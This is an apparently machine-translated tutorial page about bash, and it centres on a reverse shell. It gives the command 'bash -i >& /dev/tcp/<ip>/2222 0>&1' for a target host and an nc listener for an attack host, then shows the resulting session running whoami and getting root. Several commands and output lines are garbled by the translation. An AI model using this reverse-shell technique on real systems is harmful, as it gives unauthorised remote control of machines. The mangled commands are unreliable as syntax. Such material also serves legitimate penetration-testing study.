Linux Command: bash language details, linux Command bash details

Source: Internet
Author: User

Linux Command: bash language details, linux Command bash details

Bash is a command interpretation language. It can execute commands that read standard input or files, execute commands, and rebound shell with nc!

Basic syntax

Bash-c command

Root @ kali :~ # Bash-c whoami

Root

Root @ kali :~ #

In addition, use-I to run the shell in interactive mode, which is usually run on the target host.

Bash-I> &/dev/tcp/192.168.5.1/2222 0> & 1

Then, the other host uses nc to listen to the port, and a shell can be obtained!

Target Host:

Root @ kali :~ # Bash-I> &/dev/tcp/192.168.5.1/2222 0> & 1

Attack Host:

F: \ eth10-CTF-Toolkits \ CTF toolkit \ Connection Tool> nc-lvp 2222

Lstn on [any] 2222 ..

192.168.5.128: reverse hst chk phailed: h_errno 11004: NO_DATA

Connect to [192.168.5.1] from (UNKNOWN) [192.168.5.128] 53418: NO_DATA

Root @ kali :~ # Uname-

Uname-

Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 () x86_64 GNU/Linux

Root @ kali :~ # Whoami

Whoami

Root

Root @ kali :~ # Exit

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.